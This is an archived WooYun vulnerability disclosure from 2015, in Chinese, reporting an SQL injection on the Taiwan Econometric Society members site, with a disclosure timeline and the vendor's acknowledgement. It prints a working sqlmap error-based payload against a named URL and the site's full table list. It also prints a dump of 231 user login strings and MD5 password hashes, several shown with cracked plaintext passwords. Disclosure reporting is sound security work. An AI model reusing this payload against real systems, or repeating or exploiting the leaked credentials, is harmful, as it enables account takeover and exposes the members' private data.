当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0161285

漏洞标题:台湾经济计量学会存在SQL漏洞可能导致会员信息泄露(臺灣地區)

相关厂商:台湾经济计量学会

漏洞作者: WindS

提交时间:2015-12-14 19:17

修复时间:2016-01-28 17:10

公开时间:2016-01-28 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-14: 细节已通知厂商并且等待厂商处理中
2015-12-15: 厂商已经确认,细节仅向厂商公开
2015-12-25: 细节向核心白帽子及相关领域专家公开
2016-01-04: 细节向普通白帽子公开
2016-01-14: 细节向实习白帽子公开
2016-01-28: 细节向公众公开

简要描述:

http://www.tesociety.org.tw/members/pages.php?ID=apply存在SQL注入漏洞

详细说明:

网址:http://**.**.**.**/members/pages.php?ID=apply
日志截图

42.png


因为截图显示不全,所以直接复制。
数据库名:
sqlmap identified the following injection points with a total of 37 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: ID=apply' AND (SELECT 3544 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,109,103,58),(SELECT (CASE WHEN (3544=3544) THEN 1 ELSE 0 END)),CHAR(58,120,107,103,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'JLGK'='JLGK
---
current database: 'RSS2_PRJ_TES'
表单:
存在大量关于会员的信息表!!!
Database: RSS2_PRJ_TES
[281 tables]
+---------------------------------------+
| Degree |
| HowToKnow |
| Married |
| Opt |
| Sex |
| activity |
| activity_class |
| activity_lang |
| actnews |
| actnews_class1 |
| actnews_class2 |
| actnews_class2_relation |
| actnews_contributor |
| actnews_lang |
| actnews_option |
| actnews_option_class |
| actnews_option_lang |
| actnews_signup |
| actnews_signup_class |
| actnews_signup_lang |
| app_module |
| app_module_lang |
| attrs |
| attrs_lang |
| attrs_option |
| bachelor |
| bachelor_class1 |
| bachelor_class2 |
| bachelor_class3 |
| bachelor_lang |
| blog_categories |
| blog_comments |
| blog_css |
| blog_favorites |
| blog_options |
| blog_personal_data |
| blog_personal_field |
| blog_postcat_relation |
| blog_posts |
| blog_priv |
| blog_words |
| blogs_class |
| cache_config |
| calendar |
| calendar_class |
| classmates |
| classrooms |
| classrooms_class |
| comm_subscribe |
| community |
| community_App_ID |
| community_App_relation |
| community_CSS_ID |
| community_album |
| community_calendar |
| community_forum_poster |
| community_forum_posts |
| community_forum_topics |
| community_forum_topics_watch_relation |
| community_lang |
| community_photo |
| community_photo_comments |
| community_riki |
| community_usertype_cache |
| community_vote |
| community_vote_ballot |
| community_vote_ballot_relation |
| community_vote_items |
| counter |
| course |
| course_class |
| course_class2 |
| course_class3 |
| course_lang |
| course_materials |
| course_materials_class |
| course_materials_lang |
| course_video |
| course_video_lang |
| cron_app |
| cron_logs |
| css |
| dept_list |
| dept_list_lang |
| dist_book |
| edm_list |
| epaper |
| epaper_block |
| epaper_block_lang |
| epaper_lang |
| epaper_schedule |
| epaper_schedule_lang |
| epaper_schedule_record |
| epaper_subscribe |
| epaper_template |
| exam |
| exam_hint |
| exam_main |
| exam_open_relation |
| exam_option |
| exam_result |
| exam_sub |
| faq |
| faq_lang |
| faq_mclass |
| faq_mclass_relation |
| filer |
| filer_class |
| filer_lang |
| filter |
| filter_lang |
| filters |
| gbook |
| group_priv |
| groups |
| hire |
| hire_lang |
| laboratory |
| laboratory_class |
| laboratory_lang |
| laboratory_mclass |
| laboratory_mclass_relation |
| laboratory_users2_relation |
| laboratory_users_relation |
| languages |
| linker |
| linker_class |
| linker_lang |
| master |
| master_class1 |
| master_class2 |
| master_class3 |
| master_lang |
| message_queue |
| message_queue_class |
| message_queue_class_relation |
| message_queue_lang |
| news |
| news_class |
| news_lang |
| other |
| other_lang |
| pages |
| pages_lang |
| people |
| personal_album |
| personal_album_lang |
| personal_balance |
| personal_balance_class |
| personal_balance_outgo |
| personal_bookmarks |
| personal_calendar |
| personal_data |
| personal_data_class1 |
| personal_data_class1_lang |
| personal_data_lang |
| personal_diploma |
| personal_diploma_lang |
| personal_experience |
| personal_experience_lang |
| personal_gbook |
| personal_honor |
| personal_honor_class |
| personal_honor_lang |
| personal_photo |
| personal_photo_comments |
| personal_plugin |
| personal_plugin_attrs |
| personal_plugin_lang |
| personal_pref_config |
| personal_project |
| personal_project_class |
| personal_project_lang |
| personal_research |
| personal_research_lang |
| personal_writing |
| personal_writing_class |
| personal_writing_lang |
| phd |
| phd_class1 |
| phd_class2 |
| phd_class3 |
| phd_lang |
| privilege |
| problemset_class |
| problemset_hint |
| problemset_main |
| problemset_open_relation |
| problemset_option |
| problemset_sub |
| product |
| product_mclass |
| product_mclass_relation |
| property |
| property_class1 |
| property_class2_relation |
| property_lang |
| publisher |
| publisher_class |
| publisher_lang |
| publisher_page |
| recruit |
| recruit_category |
| recruit_class1 |
| recruit_class2 |
| recruit_lang |
| register_course_relation |
| register_form |
| roam |
| roam_lang |
| roam_notyet |
| roam_notyet_lang |
| rpc_news |
| rpc_news_block |
| rpc_news_block_lang |
| rpc_plugin |
| rpc_teacher |
| rpc_teacher_lang |
| rss_temp |
| school_list |
| signup |
| signup_activity |
| signup_activity_lang |
| site_album |
| site_album_lang |
| site_photo |
| site_photo_comments |
| site_photo_comments_lang |
| site_photo_lang |
| site_riki |
| site_vote |
| site_vote_ballot |
| site_vote_ballot_relation |
| site_vote_items |
| sms |
| sms_records |
| staff |
| staff_class1 |
| staff_class2 |
| staff_lang |
| student |
| student_class1 |
| student_class2 |
| student_lang |
| survey |
| survey_content |
| survey_content_lang |
| survey_dp_class |
| survey_lang |
| survey_option |
| survey_option_class |
| survey_option_lang |
| survey_recorder |
| survey_rel |
| survey_sub_option |
| survey_sub_option_class |
| survey_sub_option_lang |
| survey_sub_rel |
| teacher |
| teacher_class1 |
| teacher_class2 |
| teacher_class4 |
| teacher_lang |
| teacher_mclass1 |
| teacher_mclass1_relation |
| teacher_mclass2 |
| teacher_mclass2_relation |
| users |
| users_index |
| users_index_lang |
| users_lang |
| users_logs |
| users_priv_relation |
| users_privacy |
| users_sharing |
| users_webreg |
| users_webreg_emailchack |
| web_change_log |
| web_site |
| web_site_class |
| web_use_log |
+---------------------------------------+
users表
Database: RSS2_PRJ_TES
Table: users
[15 columns]
+---------------+------------------+
| Column | Type |
+---------------+------------------+
| GID | smallint(6) |
| ID | varchar(50) |
| Last_GID | varchar(8) |
| LFrequency | int(11) |
| LLIP | varchar(100) |
| LLTime | datetime |
| LocationPage | varchar(2) |
| LoginString | varchar(100) |
| Nickname | varchar(100) |
| Password | varchar(255) |
| PID | int(10) unsigned |
| Posts | int(11) |
| Upload_Remain | float |
| Upload_Size | float |
| users_CTime | datetime |
+---------------+------------------+
LoginString和Password
Database: RSS2_PRJ_TES
Table: users
[231 entries]
+----------------------------------+---------------------------------------------+
| LoginString | Password |
+----------------------------------+---------------------------------------------+
| None | c6bf541692d9ccfc677dc1ad52605b5a |
| None | e33b08b7575cbc00caf2eda28d798a58 |
| None | 8a18a6bf0c789088e6f4527d8441a48e (helicon) |
| None | 8a18a6bf0c789088e6f4527d8441a48e (helicon) |
| None | 6f7f9432d35dea629c8384dab312259a (strong) |
| None | c5bc9a31e2abe279c50df623b242b88a |
| None | e7622637036d25dfe35584675a329be5 |
| None | 8e00d6dfb9be0d34f0ba1a641feac6fe |
| None | c3537016eaa4a98fb4de5e9bfb8cccb9 |
| None | 5f18bd632b7ff636b15200acf88e8b83 |
| None | 57ee28b2fea2c161bcca31fb63a204d2 |
| 005f2ec3f1a76967bfa03e284a1be09c | f32c3edaacea72c0ddb30ecf0135c4de |
| 01406c59d62cd54b55d514f4fa9f2258 | bf99a5912bf3248f9201c5b50c0cff51 |
| 021ea81ab61f6c64017c184870276441 | 7b6bd028340ffedca0c22ac6727f4b52 |
| 0243b11923e928475a298152c917b272 | a25a62913a84c4e78a4676a99384e681 |
| 029f55afe994f5d34afb223d17557090 | 01a4426f493c452fe11222f4586524b8 |
| 02d55a40b383c16e35f0694e55d65646 | 1ac363a9852b99c275a2046375e6bea6 (tzeng) |
| 0497faad5897efc659beccc0bf72c69c | 8264e911744c7897f7b11a3ca31ee120 |
| 0698a68ca6c384ffe36e50a0ac08da91 | 8e73b27568cb3be29e2da74d42eab6dd (rachel) |
| 07349987345b5bbd14e9904a8f45e534 | 8a66226c3197b4f9d2d4a0fba6255f24 |
| 08b954dcdea52311aa6f57e9c5111448 | a8383f6ce6fbfd9644f1248b982d72b1 |
| 0959c5d053bc7cf72716acc9d8a71dd3 | c6d0f0fa62341b8c23a808986a1f8690 |
| 0a1044b3b35066faf52b2b746c9bcbaa | dc468c70fb574ebd07287b38d0d0676d (kk) |
| 0a4f488a5ee3fb9a2140384c6ab30a1c | fc4f40dc6cc0f87bf82b9143a8b7f1af |
| 0a592eeeb88a28d169ae20c7244ee254 | 87e881895e95334cf1e68c9af04c1f86 |
| 0ab22f924cf4863ac92445d4252b29ce | 698b60409a8bacdec4e0a6b44698d324 |
| 0adcf2618b2a3b4f6b7e48b0aec86c2a | 90620a5e5b38f8f09c9fc9c3d4c30564 |
| 0bcd62466e6e44342b717aaab503aab1 | 892da3d819056410c05bca7747d22735 (linh) |
| 0ccf731eb2a78e687212668d65a5f3cb | 98e9342324b34a2f0b3bef6ebdc377a5 |
| 0d600c01b47bbc889b97f03e41ca1ff5 | ee1ceb90d6c0db4e9d7299a3f0767b31 |
| 0df3430726e73627b1f463e01dfa1a19 | b5857168652a721e7cc33866bfc16c14 |
| 0e3387cd44ce17e0c5f786590fa33c21 | d7e5f8893e978aff2b125c28bea7f86d |
| 0f275eb797e8ab00c09d43a3ba2f48de | 13165b9b71e106c6d5a80b3ce9978813 |
| 0f7f5ab30da5d0d5eb86ff892f5f96ac | 7cfc2044208668d30314f0325114d1ea |
| 0ff4311a7e829c544d5d845bbb8c94ce | 7cfffa6d4cecb2b47864249c2b555fbe |
| 10e196fbe153d62241ff3327a852fe31 | e00f62c2d5077e1f11df4be58438bdd6 |
| 115fca8325d66e85d8b6f79a9e0a6db3 | ac33b895aa8c8029e74565d2ba017bab |
| 119ac994b0bcb950f43439de51a00167 | 42dfa9f627c3c416ddb56d9d9798ed0c |
| 11de846a9f1cf65a99af4ee5092c610c | 491762a9590d7648bf7bc70093a2cbf2 |
| 123e691dde45060cc0e9821a8ac3606c | e6081d16d74ecb26366c58dbfca276bc |
| 12527122d3d2ef38ff67ab8b47cd0b54 | d36cc55c6a92f52c7e492c244c41487a |
| 12941ec9a51b1c9f09075409f5855dd0 | 45df78bf4db486d3d2dce75569947798 |
| 13851113e8b42fadb4edc394b4c22eef | 4a8a6e95da32bbb99473c75b437f556e |
| 13d0e016ce591817f3a8289e50472bfb | None |
| 13fd1f116cd9222bb02cd53051a97fa2 | e24326573e8d13f0d22ec8caedf26915 |
| 151853e0cf0b0705b33353f40d032eb4 | 474c0831d624c44dccd003e348c3cdfb |
| 160cab588197c617f2f042c98b4c9260 | None |
| 1755d660ccff0df6ae6f2d275112b818 | None |
| 187cb34ef20cd97c3dce27d69e3fcab7 | 3fe76c5d2e2df2bca5a610aff8ccba50 (superc) |
| 18fc9a058666086108e849e22427c168 | None |
| 1a5c9dc1d46a16edbabf41a87320f1b0 | None |
| 1b76e0cf51d3001da3ae9897f7e105b2 | 7d4d9f2f1283064b2252adad032cc4fd |
| 1c3d00089969666dbac738a1e616d312 | 708a6193e2790f564ef446214c963698 |
| 1ccb9539982f411acf423b9c4f6d508a | 0aa8dc663dfdb0950e5e209d1814e2ef |
| 1dbd6ad1cec20cf5afcf503c9096fcf3 | f9cbc084ffa7f68a74ce6446d6c1e260 |
| 1f317145e3358257eaa4516df063cd16 | None |
| 1f6c5db8620780b2b0f3c1a4fe137370 | 040ebb972718ee6d76261c3e046aedc6 |
| 20e44696eb8df5198383e0f41d863145 | eafcce7a4ce02f4bfc3b927a89b35ee6 |
| 2236a6363147df5a74a6088f19b7107f | None |
| 234bf391a8372b20c4f71ef44c90ff05 | 19ff4113f96aa07d68fe9d9bc848adcc |
| 250b93bb01608f04d467f82687b81853 | df9dcd00ceeccf085852a189c2e3359f |
| 2587ed02efe4ca8c9d73836561ddf74b | 8fc805b74e70999f4d5a5eb9830df284 |
| 26589ad631f84f9ab6f85048dd0a02e7 | None |
| 28621acad72afd7198939ab1ff1bdf66 | 2d6dfdf88520b79112701fdf032d978e |
| 28bfbbdf3915347a383878886aa2a31e | None |
| 28d2487ff443088e88d00861c5e8cb1e | 4090ce53fbda53c98a1ca34b469b2093 |
| 28f50cf2312456b18599abdf6f9c034b | 733040bf7afb40eccd43f171c2638216 |
| 299c8c6b562db6a725afd0505214e7aa | None |
| 2b20ac0252b1a652c133b2687aaf77c1 | 4b62609d1e7bb4da8a7c8ca1ec2827ec |
| 2c1820eeb57585bf927413e231f29651 | 6754370dea170a8388dd1b78fea0e818 |
| 2d93347d096e52b5ab6f40beae825938 | f53d027458e41c7ebdf2379cee711b03 |
| 2f40ec2409adc6e151a4d727d02ecc1f | 444a2d00b72337831a63f375b803a86e |
| 2f8f51adc85e5a7f2acf795117b00059 | 7460cb1dcdc2e829b86bc49917b6c53d |
| 310f3a9386e17e6eec9abe59ca547066 | 829d8e984ab1648ddfa561125e0a51e0 |
| 3230f664ddb39868cffe47f556e0a237 | 710e8d2f606594ceb084f00d22e0908b |
| 35333356c102f733233e7d74fa4e7880 | 8971e8296a5949496804a2f69d8c08a1 |
| 372cc98be561774225b23c8348e8c9c7 | 63ad02c38786cea7c93274db32110820 |
| 37dcf309c4792f0460d1a73bc679f010 | 81e96ae39ff3cdd8469d2ffa7ad03179 |
| 37fe62901875fc0323cc602438c8c555 | 1660fe5c81c4ce64a2611494c439e1ba (jennifer) |
| 38122b174276bfce6abf0caf51352729 | 66be9243a2095b55a5240777c0e9d845 |
| 38d93820de905c5ae662fb2471dd4352 | e8077a04c30f8da36582579cd0609263 |
| 39255a874bd1c52c78ea431eac885008 | bf91e46588708ee9a41aeec6191288d9 |
| 39e45686a4d2719c7cb863d9dd79ce33 | c70953f876fac7439206c6f53ac5dbad |
| 3aa0ccd536d5e2eee09e3b5428987f02 | 670d3f74ef4660ec3847c405a54878cb |
| 3af792c141947c924ef5eb9e8b63b753 | 09eadf8ccdf90e2ce8af62109cf6b5b6 |
| 3f255c4e9f1bbbca88b67d449e007218 | 7626264ac23e6d5c0ae1a323e4388700 |
| 4338757889ab0845313af7f4c1ba9e9f | cb89c13b85478db01702307c39665410 (shu-chen) |
| 441dce230702b0931bbc7e5326d8127e | 48efc8867fd20e5df91169c86b98cb28 |
| 46b77df331ab889c465288cb096c4f4a | eb683558511b98e866083a8314a39bc8 |
| 46ddd495baa79b0e64ff5a6c4483df72 | 6f6bcb904e80c47007fa72478954286e (hhs) |
| 491eb8fba0e55846e021d902103d995f | e96d597fcfe0c4a822f6a105bf621a2f |
| 4b560488ed2c4334e9894dd72fd629cb | 993d1719244431b4dbcdea04e7be4b9b |
| 4eefa11ffb0adc2133ddabcc66179ed2 | 1a467f0fdc787700849d72c969423b6f |
| 50144746213c968276145e86a6b80681 | 7522a52852859e8f888daba5896009d6 |
| 5052c7cbdc1821a76f7fff906794a6ec | adbc404dc05f8a1e623c8368cfa0572a |
| 513db9bb6f016fd0bc866b369afb1df6 | d14369247937b4ba2c9e5c7ff28cbf15 |
| 523435757edc373f3e97f95f42b05786 | 788676780e4f603f3409f99bb26e90f0 |
| 53c663b8b713c704237dc7066ebe1018 | 752fb0b04a4767f684dd96e636fe863d |
| 54c33b1b50d57ec22b7a247ba0e8471e | 0300f9fc283573c4c9ce884020e2566d |
| 55d0b27436f75197b63da20012786cbe | 5518d1556922f03935e5e371c6d61bff |
| 5659a7bf13a319f88ba2a790b82986fc | b7b4864e7fa80d9bae3bf482d8b156e1 |
| 5865d72411e7c775e472a11680a7fd33 | 885a208105b261e5b2c3226751ee375d |
| 59b2ee6d85b6aebe90f5377ed7156cfc | 5bacfb8ebbbaf18c2604ac19ac98dbb6 |
| 5b49a5171a085e3adf97a0a18396c367 | 5ef8133f1a8a6c2b8599ae42b5d7880f |
| 5c0c0345a883d3c4a3ba76e457de25e4 | None |
| 5f1b55c73b8aeae938219fc42aecccea | 1c89f406b57f19f158e81f9596dd3882 |
| 604af4af3afd88d401d5a71f1bc22b53 | ad92f4c247db3715a5ccf1a01d11f008 |
| 604b2a42dfd3a1e82c9cfa8be7700021 | 7fa5ab4b3af2d328fee75ad02adfb53d |
| 60a7f55709622a2a0f14b5921d23265a | 937bc777cb2c797d0550c764da14922f |
| 60ec64a236550494d7a771a027f6d45b | 1ea835ac8cb9038a591ebdb606684b40 |
| 61589d97a6fdc35433d9fdf99ebc4021 | fb9f0e2cd6eab61dcb24905feeb1d19c |
| 6429a03f0c624f0cbcba2bf966d2e17c | 3e92471379f23c986913704ba8ead37d |
| 647578b08083fc73dad31d90c73e9e40 | 4ee728810c816eb43becccd9cf45e25b |
| 64e98eb7da9d11f05f12a038099e5941 | 4ac11a726cec003b61dca3e3394e3862 (shuhui) |
| 677dbeb2fd7b6966ec90bd426d9e63d8 | 72dd859421384e797da8ed93d7d0f785 |
| 6793ba0be5aa1e84055f3a50f4973357 | abaafdec107ee519639102fcf2c82fe0 |
| 690b64ef5a6a3f4d05f4230ac10ff90e | d7c1de03df2527b343a1a041cf99b54b |
| 692efce5f8cf69215b655b13e3278f62 | 4af8d3011b4f21d89eb0753b2e703c7d |
| 6c5a801bfcab75617d5d132be8af6aae | 1c31b1b0bc6be87bd564eae181504275 |
| 6e259cfc1284917dd59c248a4a268acb | abcc2d20811cd3c13e0aba7839f16412 |
| 6e33720d3cdf43607717b626e0e95054 | a31a5d28c6f42871521e470460913980 |
| 6e4e84ef388f84f2af18d89518d2185e | a193c05bb3097aa36368e7fd0e04a03d (shung) |
| 700c99110f20483e55893646ec589dbd | 8f8e8e331bcf3f7ec26c180ab92f1212 |
| 718c47421907f4ccfc8aeabbaba37dda | 00f960c81d8284b3523b00fd911e95a2 |
| 718ebe0418237674d14a73b0a31ea7c0 | ac63ab6fb4ada971b46b5690b9684ede |
| 720c383178d917b663b781088128935a | d21113786df5d2bf24f795b5d992be37 |
| 740b03ea1497657bccfda53b44229c58 | 035a7e2d22b4a24bec398e281ff4b5fb |
| 74a53f2ca6d37abc01ded7610bd68796 | 04aac0c6431a0e6534e75c502bfb5969 |
| 74a9546d4ae791b0952895b0ab4059c0 | f14f324c3ca46b030a3423c34f92038d |
| 759b242ddcd4a2d480786917884226e6 | ee97a06f00b9c6ab4494c145d3b97f97 |
| 75fbf6047b0ca4fcf541412953cc7590 | d5de679d452cb429e6f55e64a9988cbf (jr) |
| 76248572c7a58219a53cb87292d78c02 | e6e5d64a012f390f89b9a240c62c272b |
| 792183d4b53e70a0d64f5142a2791a2d | 30840503e5348f3434c1278e05f4863a |
| 7e2f468ff94f90b3d50bfbb8f54eeccf | 4a4e4e2f835e139b09b578305878d7b5 |
| 7f36ad613f38f3e625f673bd543c17f3 | cb0d2122562f5cc1723a951f4b864f24 |
| 7fd7643ebbcdfe2218ce56cd69894ce6 | ac5067a98c9b0dd138dec8dc597357d5 |
| 80d66809789dc9be91df496635038918 | 7bd58e1c53bab537f369c2aebf87646a |
| 82a50497d672033d61dcd0623268d8c7 | 4bfb57bdc5eb0f978ac7d63fb8e28fcd |
| 83cc963708c32fd6d57648454d6fae35 | 5977a88290e0c5e6c8ef66c124ce321e |
| 8820e1efe050f872ddc3ab979c80eae6 | 4a4c261e109ab4d51c84338d9f7f0533 |
| 8a0464e6eeebaa105acc8d1f2917140c | 8168767af066b92d2da87a30d887652b |
| 8e0b97d5f0e623c76342b9ee2bf2582c | 41c5eba2cf8a52919efed7273254da25 |
| 8fb20475b50d33c083dcf05a7b45e920 | acf51a402317591722c34869a489d617 |
| 8fe8053b11a4f1240d880c4a5d12cc83 | f33db156a616fa8448dbd89f54f017ca |
| 9176d309aa5b30136f0f39af154781be | 5bc954c6b7408705d7168c3cbc75a53a |
| 91bd887bf725b1a23a4eebd3edb7f3bc | b0d7441c31ce766738287b1699be173e |
| 9502a7968df5582922191c97ece09dab | b3149b1e7967e6bde284dc9896c2163a |
| 978383739b4c6060d0834f22cd0b6a41 | 0780d0041aa28a419014d6332f3585d0 |
| 9963dce6c391cffd7e54b93673f5fac1 | e8e3e93dbd32aa77bee8d84ffa6080f2 |
| 99b9bea56debe6c3f615a1edb1e2ec8c | 2ab20b0965dccbd20f4d5f66008f9040 |
| 99c923bcaffb1fa4eeeb8dc9bf6e5845 | 857bde1c81e3df224d3950aa2c6628b2 |
| 9d67844fe578df4cb4b0040bafcc8d23 | f02114c1e65b981ab1a72798bd611c18 |
| 9da2e09d2adf7fecf5666be3161d47fa | 343e44dc246eacdc62dc320f7b12a1c8 |
| 9fdff55c3f5a872ec2e16f61f3f93ebb | fb4f6c14bddbb67a2fe42e5c05b40af2 |
| a2736e8fa62cdf847b6b0679380edeba | 90ea207a603c901197f63bbfe2165aa5 |
| a35563a11662bdcad686146d1b7db44c | 2191c260234bd30570b7851754a45f27 |
| a37f4ed19e230d464c28807d99573e49 | e05796ecf5ed82d154ee9a8f270a3fbc |
| a3887fb5a21b3744d704d952605ce28d | 1b598a6c1afa249ce12f0bf2b759a4d5 |
| a8b4c07cc3d59cec5a56b95ab31360ea | 586b91725dffff376f52c9da7419ac7d |
| a967563828ce873b6bcaac4808f462d1 | c27c58a26a64beda48cd6b4c0f60ee85 |
| ac21093c082b1cf541102cd398eaf4be | 251fd917df6e895f36b16da252313934 |
| adb3bf798f6ce3fc4ade456c3480f446 | 1d10eea3e8b879f0d68acd4885f9435d |
| ae3e1aaf5100006dc5bfbd6b6ed47030 | a7abd5f54ef6676ce74fc56e2124ecd8 |
| b0331428ed91bbb3e6fb8b1d8980dca4 | 7e076ea3ff69015d0317f82c9182610b |
| b3e6a2df6bf0e8ed663352139451ccbe | e404c0c4fa57dc14b8a3c223b67f8c31 |
| b56030985b9750b09176eed9af0bf75f | 8c00c50e4560e5a3c67cbefa077c700d |
| b5fafce6f9e476cf046e1639bcf06ff8 | e471ced4d4077f84a189c6c4dc7ef6a5 |
| b936eb021d8d36b5eda82388b72e8590 | b266be4feeba72af9fed172c1d93c6b1 |
| bb87c6ac38edc4ee90d1c2731e9c9dbf | 62b682005c60f22833559c759a7963cf |
| bc41e0b981fad70a37e7fa756ca3f797 | b91202d745a5f82ec9e60378fbf876f9 |
| bc7a378ce74fe6794b879aa0b293fd9d | c236080adc96606ed79164d6401c95ee |
| bd99fa221c0de820bc5b5d3b7937f873 | 58d839aac1567a98b578b45fc3d0a801 (serafin) |
| be8da4e57d22def646a37a50fcf04634 | ef8b6d25556a483c0916f8136e70a597 |
| c0f6a9742434e8647ac9b49614f15409 | f396fd39162bb170e3f213bc89976f90 |
| c12101abb7c767ce11986d8d6cd43201 | b0a22577370f4ff95f83358a2eb142a1 |
| c1f07f9fdd4ca18c31d488d991af6db2 | d1183cae3591394d2fbc5956040c9c06 |
| c234518f2645332beaf463caf4e11990 | c58cbcd69d11add53cbd2aa148facb83 |
| c37a544472500ddabe45e7202336c8c5 | 54a4944bb08909726d6d2c16029c1a97 |
| c3e34dcbc9b0a91d3c4e6ed921aff254 | 22839f545339ded20ec2cb48eb4ac92c |
| c4ca677869ede2c92338e1b770c1f85a | 8c4ffc996c87551740e7021f19f7cb89 |
| c58474a092926642f8fc6b933522f604 | c5aa859f24ead494a7093b14bea80ae1 |
| c58f990a29b8e087b493ee386c3938a1 | af400bd3fcc671e3870fc441e13b2f57 |
| c62ceb43eae32bb333444515fcd6c961 | c85f3d2729e50dc323e9091c3107cb52 |
| c82f4e87fd6f3b15905a82bee2c4235f | ecf2108902507f158d157a2ae9ca7e50 |
| c8bb87b8345238f5a2ec027a99099a02 | 47fc625d87ad48573b4b64e71029dec5 |
| c9a7d8537bbf8674d80223f4eac6456a | 497174bff170989240489c59691a52ac |
| ca588169ddf18fd35aa635c6b3d68319 | b6cb511f280b15b1bbfb5e901c0efc27 |
| cb185182aa21e04e4629d49a8da0ca2e | 1d406279bb78c5e1c9d4ff0eacaa1a8f |
| cc6ef237f60f0d7755dfde66720c9e5c | 57ac260fbb21b822d09b6225e73c4802 |
| ce8f1172882eb694010202279a24fe44 | 0295c63e7f3ac3cc7b2bc84a04ded0e5 |
| d0577a82dedb8f104232156938c16ca5 | f99de690e1aa0c31155d70325cbafefd |
| d0cf14468daea956bd98b47185bcb04f | 84955d987393a2702203064932c268b4 |
| d1e2a123ba5f1488a1b8c23d705a628d | 892a9944cf14665375630c06a1902152 (wawa) |
| d1eae269abedb42d2687bb7fc2c0b3c3 | c9cf2113af437be7fd48af1ce6d7e921 (sanford) |
| d229d69a080b1f9215c063bf69105f81 | 814ce1eb5c85c10b2662ab979b85893d |
| d485a3422b89d76bc8c32294853c2388 | 8577381c3abc91ff1b077299c5092059 |
| d4d0cf25b01341cf884630817fd0bade | d9257ea3da34ec1fcbf26b3e974e1c42 |
| d5e2de0d9550c79006581c06b763ce4d | 7d28578966f83b6f875dc7b5593fc33d |
| d62d9f559534a857e8eff946d49a25e7 | 1058a42a81e5252c76cb308bcd6a0214 (miao) |
| d718aceae42afa25a0d8bfaa160e75d0 | 207c58b9ac4bc3c496870444449e481a |
| d71b28f0b8d3ad63a5968cc1f65440a6 | 99cdbf05b2c3607d9a2e16d2f1f4e393 |
| d86a6cfba061d20863d937e1ed92d120 | 4e0dd1784a86e4c7045a572e3f7d5ce8 |
| d899f5bc9ceb36c81fc86b357d92389a | 8bb13ef690a01ff6b157d5c971787392 |
| da1e57b3a4d9fdab15c7be9dd6af2f71 | f9bc3bc1e901a8e87ae37fd30a1b16a7 |
| da73afcda18b13cf3a8ca6c552323f88 | 026f20dbc17c08ad82e6fa4115315a5e |
| da757710e77466bde74cca97768e66fa | fe602bc02308adabc0b4e915889c17cd |
| dac74651a7cd4d73fdd86cc8ec045383 | 7fcc65ea0318be427e3d3ec1ddf98b1d |
| dbf9a15f548e41a89c9c2c03a022d6e6 | 27cda1748a6032e7005c61dd6e7faa80 |
| dd806129f1763cd8d13349c0dca52fdd | 329e26290db362c756781d1679e935a9 |
| ddf644d5b3d6a6c08c562c52f681e216 | 5c26a1fe77ef649440ffe4fffeefd943 |
| e0953dc8666bce5650eb60c2b09f132d | bb693227332caabd752453aadec68928 |
| e2f459aa782ad22eec44b645d5a4924e | ab40d14045b37c367ce9751886e32016 |
| e39f9ad517d58d96e74be6c2e129dd8b | 0c51ab0a0f50fb1c523c6a5a4867da43 |
| e3d0e3208359fc7721a084c53f22125f | f8def1d9927ac6cc5d6351d2d605ea34 |
| e5806f4add806079371adde1a1852957 | 39893d10fa81e2631f1210d05ec74dcb |
| e67e27da24e13e2cbc57b182418d3c26 | 34432071810eaad658a27c3c6e728d9a |
| e72698df974a3995097db7fd58fac202 | 00e23f0226f2231449c1fb0729f518a9 |
| e9c7356ab797e17938fd7e28373cd678 | 5a078ff902c27ee455379db1caf296ee |
| ee46ea7accdef3accea8c8052c7195f4 | 9852f6575c282db621d991fd9ced3cc1 (yao) |
| f0692324f38380a0244ffee44ce898a2 | 7308ac2f438ebeb4b0023ec4cc3b22af |
| f0eb0f5248ffc229e3d6584ce20a298c | 3b78c0ca4de46149ac7cba94b5f49358 |
| f284049044a7761f5a093f1e46557904 | d944e3b28d8db42c657c85c52126898c |
| f2c735ab66ee126ce1b064f03859e7fa | accd95f228a92a64e93d513550ad084f |
| f5b4e5bf86bc50386a90f31f8eecf1e3 | 19b04069a56028e1e64d406c575ad38d |
| f73da1e71f94e23347f2b12ee8626142 | 89975c5e5d407916e8080d137c48ddd7 (cheng) |
| f830843e480e9effbec5bd77df8e9dd6 | 1641d445a636290c4af8b8aa679f41f4 |
| fa4ffbe9189791d8d28e1913c9d1d631 | ccf9d8c3cc9f679895252ee06bd650ee |
| fc3189ea97c174441ba8e95180580be6 | ff49e7281c41384863fd1f8fd4aead46 |
| fcf493209ccbdac325270ae2299206a8 | 32d92f4655f26fd17bf64c2bc53ffc77 |
| fe00937ecb8d9d81e4c69762b81bc98b | 9e2a2ddf6b7c778a50d5619811b4e028 |
| ff17d1e9b2232374e001ad641c160bac | adaa83d21fe95003f8ad0683b7a89c29 |
+----------------------------------+---------------------------------------------+

漏洞证明:

sqlmap identified the following injection points with a total of 37 HTTP(s) requests:
---
Place: GET
Parameter: ID
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: ID=apply' AND (SELECT 3544 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,109,103,58),(SELECT (CASE WHEN (3544=3544) THEN 1 ELSE 0 END)),CHAR(58,120,107,103,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'JLGK'='JLGK
---

修复方案:

过滤

版权声明:转载请注明来源 WindS@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-12-15 23:46

厂商回复:

感謝通報

最新状态:

暂无


漏洞评价:

评价